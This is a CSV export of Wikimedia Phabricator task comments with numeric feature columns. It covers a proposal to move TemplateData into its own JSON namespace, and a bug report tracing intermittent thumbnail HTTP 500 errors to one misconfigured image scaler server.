",,,1526399860,,PHID-USER-3imz37uve2wfuuub5eq6,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,254,,1.0,0.0,0.0,1.6666666666666667,0.0,4.666666666666667,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,3.0,9.666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,3.3333333333333335,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,16.666666666666668,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,2.6666666666666665,7.0,0.3333333333333333,1.6666666666666667,2.6666666666666665,0.0,0.0,0.0,7.0,2.0,0.0,1.6666666666666667,0.0,0.3333333333333333,9.666666666666666,4.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,1.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,4.194835680751173,0.7735747820254862,"I do raise two issues against the proposal, at least for mandatory evaluation of JSON pages only.
* Pro #2 reads as: “Document templates without needing to make edits to templates that are potentially transcluded across large swaths of pages”
** This goes for any kind of lengthy documentation, and is usually solved by transclusion of a separated ##/doc## into main template page.
** German Wikipedia is using that technique for any longer template documentation since 2008, and enforces TemplateData on separated docpage for all productive templates.
* There are JSON objects built by template-like transclusion via ##{{#tag:}}## syntax.
** See [[URL | Kategorie:Vorlage:Metadokumentation]] on German Wikipedia – a dozen of so-called “meta documentation” pattern pages is generating nearly thousand TemplateData objects on particular template pages, controlled by template name and sometimes parameters.
Optional separated ##.json## subpages may be introduced, but classic ##<templatedata>## approach needs to be supported, too.
"
834499,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","I do raise two issues against the proposal, at least for mandatory evaluation of JSON pages only.
* Pro #2 reads as: “Document templates without needing to make edits to templates that are potentially transcluded across large swaths of pages”
** This goes for any kind of lengthy documentation, and is usually solved by transclusion of a separated ##/doc## into main template page.
** German Wikipedia is using that technique for any longer template documentation since 2008, and enforces TemplateData on separated docpage for all productive templates.
* There are JSON objects built by template-like transclusion via ##{{#tag:}}## syntax.
** See [[https://de.wikipedia.org/wiki/Kategorie:Vorlage:Metadokumentation | Kategorie:Vorlage:Metadokumentation]] on German Wikipedia – a dozen of so-called “meta documentation” pattern pages is generating nearly thousand TemplateData objects on particular template pages, controlled by template name and sommetimes parameters.
Optional separated ##.json## subpages may be introduced, but classic ##<templatedata>## approach needs to be supported, too.
",,,1490880640,,PHID-USER-3imz37uve2wfuuub5eq6,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,195,,1.0,0.0,0.0,1.6666666666666667,0.0,4.666666666666667,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,2.3333333333333335,9.666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,3.6666666666666665,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,16.666666666666668,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,2.6666666666666665,7.0,0.3333333333333333,1.6666666666666667,2.6666666666666665,0.0,0.0,0.0,7.0,2.0,0.0,1.6666666666666667,0.0,0.3333333333333333,9.666666666666666,4.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,1.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,4.199597585513078,0.7735747820254862,"I do raise two issues against the proposal, at least for mandatory evaluation of JSON pages only.
* Pro #2 reads as: “Document templates without needing to make edits to templates that are potentially transcluded across large swaths of pages”
** This goes for any kind of lengthy documentation, and is usually solved by transclusion of a separated ##/doc## into main template page.
** German Wikipedia is using that technique for any longer template documentation since 2008, and enforces TemplateData on separated docpage for all productive templates.
* There are JSON objects built by template-like transclusion via ##{{#tag:}}## syntax.
** See [[URL | Kategorie:Vorlage:Metadokumentation]] on German Wikipedia – a dozen of so-called “meta documentation” pattern pages is generating nearly thousand TemplateData objects on particular template pages, controlled by template name and sommetimes parameters.
Optional separated ##.json## subpages may be introduced, but classic ##<templatedata>## approach needs to be supported, too.
"
590984,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","I've fiddled with this because either {T487} or {T107595} would both meet this need. I think the latter is both more likely to occur and a better outcome, but…",,,1452893325,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,True,,,132,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,3.0,11.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,8.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,3.5405405405405403,0.8648648648648649,"I've fiddled with this because either {T487} or {T107595} would both meet this need. I think the latter is both more likely to occur and a better outcome, but…"
236209,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot",Re-wording; this is blocked by https://www.mediawiki.org/wiki/Requests_for_comment/Associated_namespaces being implemented.,,,1401208356,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,33.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,1.0,Re-wording; this is blocked by URL being implemented.
236205,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","See also:
https://www.mediawiki.org/wiki/Requests_for_comment/Associated_namespaces#Use_case_2b:_Structured_template_documentation",,,1398702686,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.4,1.0,"See also:
URL"
236200,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","I talked about that briefly on IRC, we decided that since this is specifically about the namespace proposal, until we decided what to do about it, we'd leave both open. And closing that bug may not necessarily close this bug.",,,1379512241,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,9.0,17.0,0.0,2.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,7.0,4.0,2.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,11.0,17.0,2.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.043478260869565,0.7391304347826086,"I talked about that briefly on IRC, we decided that since this is specifically about the namespace proposal, until we decided what to do about it, we'd leave both open. And closing that bug may not necessarily close this bug."
236195,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot",Is this a dupe of https://bugzilla.wikimedia.org/show_bug.cgi?id=50512#c0 ?,,,1379497097,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,29.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,2.4285714285714284,1.0,Is this a dupe of URL ?
56045,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"When requesting random images from Commons' MediaWiki API and requesting a thumbnail for it, I often get a HTTP 500.

For example:



GET http://upload.wikimedia.org/wikipedia/commons/thumb/f/fb/USMC-05934.jpg/400px-USMC-05934.jpg
HTTP 500
<html><head><title>Error generating thumbnail</title></head>
<body>
<h1>Error generating thumbnail</h1>
<p>
Error creating thumbnail:
</p>
<!-- http://commons.wikimedia.org/w/thumb_handler.php/f/fb/USMC-05934.jpg/400px-USMC-05934.jpg -->
<!-- mw1154 -->
</body>
</html>

Usually when trying again, it just works.

I've been getting these errors in many different environments:
* When reading articles and HiDPI plugin swaps the src attributes (the larger version would fail maybe)
* When opening the VisualEditor (rendering the new DOM means we re-parse the <img>tag and thus re-request it, thus making it more likely for the error to happen again)
* When working with gadgets that render image galleries through requesting file category members and the thumbnail url.

I don't think the scenario is relevant, there is either something wrong with the thumbnail generator script that is triggered by lots of images. Or there is a few faulty servers in the upload.wikimedia.org pool that cause the errors.

--------------------------
**Version**: wmf-deployment
**Severity**: critical",High,80.0,1378941420,1379553025.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-5ts3ggpcjypmoohi32ft,task_description,resolved,True,c1,3,True,False,True,10,,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,4.666666666666667,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,1.0,0.0,0.0,0.6666666666666666,1.3333333333333333,1.6666666666666667,5.0,5.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.0,5.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,2.0,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.0,12.666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,1.3333333333333333,0.0,5.0,2.0,9.0,1.6666666666666667,2.3333333333333335,5.333333333333333,0.0,0.0,0.6666666666666666,0.0,3.0,0.0,1.0,0.0,2.6666666666666665,5.0,4.333333333333333,0.0,0.3333333333333333,0.0,2.6666666666666665,0.0,3.0,1.0,0.0,4.333333333333333,0.6666666666666666,0.0,8.0,3.9391690009337075,0.657609710550887,"When requesting random images from Commons' MediaWiki API and requesting a thumbnail for it, I often get a HTTP 500.

For example:



GET URL
HTTP 500
<html><head><title>Error generating thumbnail</title></head>
<body>
<h1>Error generating thumbnail</h1>
<p>
Error creating thumbnail:
</p>
<!-- URL -->
<!-- mw1154 -->
</body>
</html>

Usually when trying again, it just works.

I've been getting these errors in many different environments:
* When reading articles and HiDPI plugin swaps the src attributes (the larger version would fail maybe)
* When opening the VisualEditor (rendering the new DOM means we re-parse the <img>tag and thus re-request it, thus making it more likely for the error to happen again)
* When working with gadgets that render image galleries through requesting file category members and the thumbnail url.

I don't think the scenario is relevant, there is either something wrong with the thumbnail generator script that is triggered by lots of images. Or there is a few faulty servers in the upload.wikimedia.org pool that cause the errors.

--------------------------
**Version**: wmf-deployment
**Severity**: critical"
254806,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"[02:06:08] <Reedy> Can someone depool mw1154 from the image scaler cluster?
[02:06:20] <paravoid> what's wrong with it?
[02:07:40] <Reedy> It's seemingly generating a lot more errors (by a factor of 2 or so) than any of the other scalers
[02:07:41] <Reedy> https://bugzilla.wikimedia.org/show_bug.cgi?id=54045
[02:08:32] <paravoid> root@mw1154:~# ls /sys/fs/cgroup/memory/mediawiki/job
[02:08:33] <paravoid> ls: cannot access /sys/fs/cgroup/memory/mediawiki/job: No such file or directory
[02:08:35] <paravoid> blergh
[02:09:01] <paravoid> fixed
[02:09:58] <Reedy> is that's what's up with it?
[02:10:05] <paravoid> yes, fixed
[02:10:09] <Reedy> awesome
[02:10:10] <Reedy> thanks",,,1379553025,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,11,,0.5,0.5,0.0,0.0,0.5,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,3.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,5.5,0.0,1.0,3.5,0.0,0.0,0.0,0.5,1.0,0.5,7.0,0.0,1.5,3.5,13.5,1.5,0.0,0.0,1.5,0.0,1.0,1.0,0.0,0.5,0.5,0.0,27.5,3.1991901776384535,0.5824843260188088,"[02:06:08] <Reedy> Can someone depool mw1154 from the image scaler cluster?
[02:06:20] <paravoid> what's wrong with it?
[02:07:40] <Reedy> It's seemingly generating a lot more errors (by a factor of 2 or so) than any of the other scalers
[02:07:41] <Reedy> URL
[02:08:32] <paravoid> root@mw1154:~# ls /sys/fs/cgroup/memory/mediawiki/job
[02:08:33] <paravoid> ls: cannot access /sys/fs/cgroup/memory/mediawiki/job: No such file or directory
[02:08:35] <paravoid> blergh
[02:09:01] <paravoid> fixed
[02:09:58] <Reedy> is that's what's up with it?
[02:10:05] <paravoid> yes, fixed
[02:10:09] <Reedy> awesome
[02:10:10] <Reedy> thanks"
254803,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Yup, still mw1154


reedy@fluorine:/a/mw-log$ grep -c mw1153 thumbnail.log
50057
reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
125850
reedy@fluorine:/a/mw-log$ grep -c mw1155 thumbnail.log
50451
reedy@fluorine:/a/mw-log$ grep -c mw1156 thumbnail.log
50584
reedy@fluorine:/a/mw-log$ grep -c mw1157 thumbnail.log
51015
reedy@fluorine:/a/mw-log$ grep -c mw1158 thumbnail.log
50386
reedy@fluorine:/a/mw-log$ grep -c mw1159 thumbnail.log
50134
reedy@fluorine:/a/mw-log$ grep -c mw1160 thumbnail.log
51486",,,1379552717,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,0.0,0.0,7.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.74,0.29,"Yup, still mw1154


reedy@fluorine:/a/mw-log$ grep -c mw1153 thumbnail.log
50057
reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
125850
reedy@fluorine:/a/mw-log$ grep -c mw1155 thumbnail.log
50451
reedy@fluorine:/a/mw-log$ grep -c mw1156 thumbnail.log
50584
reedy@fluorine:/a/mw-log$ grep -c mw1157 thumbnail.log
51015
reedy@fluorine:/a/mw-log$ grep -c mw1158 thumbnail.log
50386
reedy@fluorine:/a/mw-log$ grep -c mw1159 thumbnail.log
50134
reedy@fluorine:/a/mw-log$ grep -c mw1160 thumbnail.log
51486"
254800,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,Ganglia graphs suggest so (mw1154 has less activity) but I haven't specificly tested.,,,1379552393,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.294117647058823,1.0,Ganglia graphs suggest so (mw1154 has less activity) but I haven't specificly tested.
254797,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,Part of the question would be is it still the same machine? (based on the fact it's already changed once),,,1379547506,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,0.875,Part of the question would be is it still the same machine? (based on the fact it's already changed once)
254793,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,Could this server be taken out of rotation until the issue is resolved?,,,1379546704,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.214285714285714,1.0,Could this server be taken out of rotation until the issue is resolved?
254787,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"The entries in /a/mw-log/thumbnail.log are often hard to correlate since they use temporary file names. However it appears some (or all?) contain a MediaWiki File-namespace url as well.

I just got another HTTP 500 Internal Server Error and found the following entry:

URL: https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Trevor_Parscal_December_2008.jpg/660px-Trevor_Parscal_December_2008.jpg

Triggered from an <img> tag on https://commons.wikimedia.org/w/index.php?title=File:Trevor_Parscal_December_2008.jpg&action=submit when previewing an edit.


[04:11 UTC] krinkle at fluorine in /a/mw-log
$ tail thumbnail.log  -n500 | ack-grep Trevor -C 10

Bytes: 0xFF 0x27 0x20 0x69"" from ""'/usr/bin/'rsvg-convert --no-external-files -w 120 -h 61 -o '/tmp/transform_5a95aeb43c6b-1.png' '/tmp/localcopy_61a6c00091e1-1.svg' 2>&1""
2013-09-17 04:10:06 mw1154 commonswiki: thumbnail failed on mw1154: error 1 """" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=660x440 '/tmp/localcopy_cb6372f89daf-1.jpg'  -thumbnail '660x440!' -set comment 'File source: http://commons.wikimedia.org/wiki/File:Trevor_Parscal_December_2008.jpg' -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_f22fd870a3fc-1.jpg' 2>&1""
2013-09-17 04:10:06 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_f22fd870a3fc-1.jpg"". unlink() succeeded
2013-09-17 04:10:06 mw1157 commonswiki: thumbnail failed on mw1157: error 1 ""convert: no decode delegate for this image format `/a/magick-tmp/magick-NyMRfqeG' @ error/constitute.c/ReadImage/532.
convert: missing an image filename `/tmp/transform_6c0a3d0fd7c4-1.jpg' @ error/convert.c/ConvertImageCommand/3011."" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=120x53 ''  -thumbnail '120x53!' -set comment 'File source: http://commons.wikimedia.org/wiki/File:Banknote_5000_rubles_(1997)_front.jpg' -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_6c0a3d0fd7c4-1.jpg' 2>&1""
..
2013-09-17 04:13:59 mw1159 commonswiki: thumbnail failed on mw1159: error 1 ""Error reading SVG:Error domain 1 code 96 on line 1 column 17 of file:///tmp/localcopy_2362643f10ec-1.svg: Malformed declaration expecting version"" from ""'/usr/bin/'rsvg-convert --no-external-files -w 120 -h 96 -o '/tmp/transform_8ba6acf9d427-1.png' '/tmp/localcopy_2362643f10ec-1.svg' 2>&1""
2013-09-17 04:13:59 mw1154 commonswiki: thumbnail failed on mw1154: error 1 """" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=660x440 '/tmp/localcopy_babba88e51a4-1.jpg'  -thumbnail '660x440!' -set comment 'File source: http://commons.wikimedia.org/wiki/File:Trevor_Parscal_December_2008.jpg' -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_de7473e35169-1.jpg' 2>&1""
2013-09-17 04:13:59 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_de7473e35169-1.jpg"". unlink() succeeded
2013-09-17 04:14:01 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_55d5b98e5f7b-1.png"". unlink() succeeded",,,1379391380,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,True,,,11,,0.3333333333333333,0.0,0.0,0.0,0.0,3.8333333333333335,0.16666666666666666,0.0,0.0,0.0,0.6666666666666666,7.333333333333333,0.0,0.0,0.0,0.16666666666666666,0.16666666666666666,1.0,3.1666666666666665,0.0,0.16666666666666666,0.0,0.16666666666666666,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.16666666666666666,0.5,0.0,0.16666666666666666,0.0,1.1666666666666667,0.0,0.16666666666666666,0.16666666666666666,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,14.5,0.0,0.16666666666666666,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.8333333333333334,0.16666666666666666,5.166666666666667,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.0,0.5,0.0,0.6666666666666666,0.0,12.166666666666666,0.0,0.5,3.1666666666666665,11.333333333333334,0.16666666666666666,11.5,0.16666666666666666,0.5,0.0,0.16666666666666666,0.5,0.0,1.1666666666666667,0.5,0.0,1.3333333333333333,4.075156054931337,0.6390345401581357,"The entries in /a/mw-log/thumbnail.log are often hard to correlate since they use temporary file names. However it appears some (or all?) contain a MediaWiki File-namespace url as well.

I just got another HTTP 500 Internal Server Error and found the following entry:

URL: URL

Triggered from an <img> tag on URL when previewing an edit.


[04:11 UTC] krinkle at fluorine in /a/mw-log
$ tail thumbnail.log  -n500 | ack-grep Trevor -C 10

Bytes: 0xFF 0x27 0x20 0x69"" from ""'/usr/bin/'rsvg-convert --no-external-files -w 120 -h 61 -o '/tmp/transform_5a95aeb43c6b-1.png' '/tmp/localcopy_61a6c00091e1-1.svg' 2>&1""
2013-09-17 04:10:06 mw1154 commonswiki: thumbnail failed on mw1154: error 1 """" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=660x440 '/tmp/localcopy_cb6372f89daf-1.jpg'  -thumbnail '660x440!' -set comment 'File source: URL -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_f22fd870a3fc-1.jpg' 2>&1""
2013-09-17 04:10:06 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_f22fd870a3fc-1.jpg"". unlink() succeeded
2013-09-17 04:10:06 mw1157 commonswiki: thumbnail failed on mw1157: error 1 ""convert: no decode delegate for this image format CODE/tmp/transform_6c0a3d0fd7c4-1.jpg' @ error/convert.c/ConvertImageCommand/3011."" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=120x53 ''  -thumbnail '120x53!' -set comment 'File source: URL -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_6c0a3d0fd7c4-1.jpg' 2>&1""
..
2013-09-17 04:13:59 mw1159 commonswiki: thumbnail failed on mw1159: error 1 ""Error reading SVG:Error domain 1 code 96 on line 1 column 17 of file:///tmp/localcopy_2362643f10ec-1.svg: Malformed declaration expecting version"" from ""'/usr/bin/'rsvg-convert --no-external-files -w 120 -h 96 -o '/tmp/transform_8ba6acf9d427-1.png' '/tmp/localcopy_2362643f10ec-1.svg' 2>&1""
2013-09-17 04:13:59 mw1154 commonswiki: thumbnail failed on mw1154: error 1 """" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=660x440 '/tmp/localcopy_babba88e51a4-1.jpg'  -thumbnail '660x440!' -set comment 'File source: URL -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_de7473e35169-1.jpg' 2>&1""
2013-09-17 04:13:59 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_de7473e35169-1.jpg"". unlink() succeeded
2013-09-17 04:14:01 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_55d5b98e5f7b-1.png"". unlink() succeeded"
